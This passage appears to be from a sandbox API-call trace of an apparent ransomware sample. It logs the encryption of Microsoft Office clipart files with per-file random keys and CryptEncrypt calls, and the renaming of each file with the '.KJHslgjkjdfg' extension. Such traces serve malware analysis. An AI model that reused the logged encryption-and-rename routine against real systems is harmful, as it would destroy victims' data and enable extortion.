lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.kjhslgjkjdfg")) returned 1 [0186.805] CloseHandle (hObject=0x130) returned 1 [0186.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0186.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.816] GetProcessHeap () returned 0x990000 [0186.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.830] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.830] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.830] GetProcessHeap () returned 0x990000 [0186.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.830] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.830] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.831] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6c8, lpOverlapped=0x0) returned 1 [0186.865] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6d0) returned 1 [0186.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6d0, lpOverlapped=0x0) returned 1 [0186.865] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] SetEndOfFile (hFile=0x130) returned 1 [0186.868] GetProcessHeap () returned 0x990000 [0186.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.868] GetProcessHeap () returned 0x990000 [0186.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.kjhslgjkjdfg")) returned 1 [0186.869] CloseHandle (hObject=0x130) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0186.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.870] GetProcessHeap () returned 0x990000 [0186.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.870] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0186.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.875] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.875] GetProcessHeap () returned 0x990000 [0186.875] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.875] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.875] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.875] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.883] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30c2, lpOverlapped=0x0) returned 1 [0186.885] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0) returned 1 [0186.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.886] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30d0, lpOverlapped=0x0) returned 1 [0186.886] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.886] SetEndOfFile (hFile=0x130) returned 1 [0186.889] GetProcessHeap () returned 0x990000 [0186.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.889] GetProcessHeap () returned 0x990000 [0186.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.kjhslgjkjdfg")) returned 1 [0186.890] CloseHandle (hObject=0x130) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0186.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.891] GetProcessHeap () returned 0x990000 [0186.891] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.892] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.892] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.912] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.912] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.912] GetProcessHeap () returned 0x990000 [0186.912] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.912] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.912] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.912] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.912] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.912] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.912] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.913] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.913] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.913] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.913] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9fc, lpOverlapped=0x0) returned 1 [0186.913] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00, dwBufLen=0xa00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.913] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa00, lpOverlapped=0x0) returned 1 [0186.913] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.913] SetEndOfFile (hFile=0x130) returned 1 [0186.916] GetProcessHeap () returned 0x990000 [0186.916] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.916] GetProcessHeap () returned 0x990000 [0186.916] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.kjhslgjkjdfg")) returned 1 [0186.917] CloseHandle (hObject=0x130) returned 1 [0186.917] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0186.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.918] GetProcessHeap () returned 0x990000 [0186.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.918] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.921] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.921] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.922] GetProcessHeap () returned 0x990000 [0186.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.922] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.922] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.922] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.922] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.922] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.922] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.923] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.923] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1678, lpOverlapped=0x0) returned 1 [0186.924] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1680, dwBufLen=0x1680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1680) returned 1 [0186.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.924] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1680, lpOverlapped=0x0) returned 1 [0186.924] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.924] SetEndOfFile (hFile=0x130) returned 1 [0186.927] GetProcessHeap () returned 0x990000 [0186.927] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.927] GetProcessHeap () returned 0x990000 [0186.927] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.kjhslgjkjdfg")) returned 1 [0186.928] CloseHandle (hObject=0x130) returned 1 [0186.928] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0186.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.929] GetProcessHeap () returned 0x990000 [0186.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 